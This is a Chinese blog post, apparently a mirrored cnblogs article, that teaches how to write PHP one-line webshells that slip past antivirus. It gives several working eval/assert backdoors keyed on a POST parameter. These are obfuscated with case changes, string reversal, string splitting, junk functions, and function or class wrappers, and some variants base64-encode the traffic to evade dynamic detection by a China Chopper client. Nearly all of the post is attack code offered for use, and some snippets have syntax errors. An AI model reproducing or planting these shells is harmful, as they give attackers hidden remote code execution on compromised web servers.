码迷,mamicode.com
首页 > 其他好文 > 详细

bypass

时间:2018-02-22 19:27:35      阅读:168      评论:0      收藏:0      [点我收藏+]

标签:配置   php   空格   文本   rto   code   转换   去掉   str   

 

一句话免杀

<?php ?> php语句开头结尾
@ 防止报错
eval 语言结构

最简小的一句话:
<?php
@eval($_POST[‘key‘]);
?>

一、文本查杀绕过(关掉防御可以用C刀连接/浏览器直接访问):
大小写转换、文本颠倒、文本分割、干扰函数、加密(base64,..)、语言特征(函数化、面向对象)...等

1. 大小写
<?php
//大小写
$a = ‘Eval‘;
$b = strtolower($a);

$b($_POST[‘key‘]);
?>


2.assert断言
<?php
//assert断言只会执行第一条语句key=system("whoami");echo "aa";
$a = ‘AssErt‘;
$b = strtolower($a);

$b($_POST[‘key‘]);
?>


3.文本颠倒
<?php
//文本颠倒大小写结合
$a = ‘tREssA‘;
$b = strtolower($a);
$c = strrev($b);

$c($_POST[‘key‘]);
?>


4.文本分割
<?php
//文本分割(点号)
$a = ‘tRE‘.‘ssA‘;
$b = strtolower($a);
$c = strrev($b);

$c($_POST[‘key‘]);
?>


5.数组分割,干扰函数
<?php
//数组分割(点号)
$a = array(‘tRE‘,‘ssA‘);
$a = $a[0].$a[1];
$b = strtolower($a);
$c = strrev($b);

//print_r($c($_POST[‘key‘]));
var_dump($c($_POST[‘key‘]));
echo(var_dump($c($_POST[‘key‘])));
?>

简化成一行
<?php $a = array(‘tRE‘,‘ssA‘);$a = $a[0].$a[1];$b = strtolower($a);$c = strrev($b);var_dump($c($_POST[‘key‘]));echo(var_dump($c($_POST[‘key‘])));?>

去掉空格
<?php $a=array(‘tRE‘,‘ssA‘);$a=$a[0].$a[1];$b=strtolower($a);$c=strrev($b);var_dump($c($_POST[‘key‘]));echo(var_dump($c($_POST[‘key‘])));?>

在可能被拦截的地方再加干扰函数(可以绕过)
<?php $a=array(‘tRE‘,‘ssA‘);$a=$a[0].$a[1];$b=strtolower($a);print_r($c=strrev($b));var_dump($c($_POST[‘key‘]));echo(var_dump($c($_POST[‘key‘])));?>


6.函数化(可以绕过)
<?php
function gkey($a){
@eval($a);
}
gkey($_POST(‘key‘));
?>


7.面向对象封装成类(可以绕过)

<?php
class KKey{
public function gkey($a){
@eval($a);
}
}
$key = new KKey;
$key -> gkey($_POST(‘key‘));
?>

 


二、动态查杀绕过:
加密传输、改变传输特征...等


C刀配置文件修改为PHP_MAKE=去掉\u0001后base64编码的值,PHP_INDEX=数据包中action参数的值
一句话也要对应修改:
//1.绕过失败
<?php
class KKey{
public function gkey($a){
@eval(base64_decode($a));
}
}
$key = new KKey;
$key -> gkey($_POST(‘key‘));
?>

//2,key=@eval(system("whoami"))编码后的值
<?php
function gkey($a){
@eval($a);
// echo $a;
}
gkey(base64_decode($_POST(‘key‘)));
?>

//3
<?php
class KKey{
public function gkey($a){
@eval($a);
}
}
$key = new KKey;
$key -> gkey(base64_decode($_POST(‘key‘)));
?>

 

bypass

标签:配置   php   空格   文本   rto   code   转换   去掉   str   

原文地址:https://www.cnblogs.com/i-honey/p/8459624.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!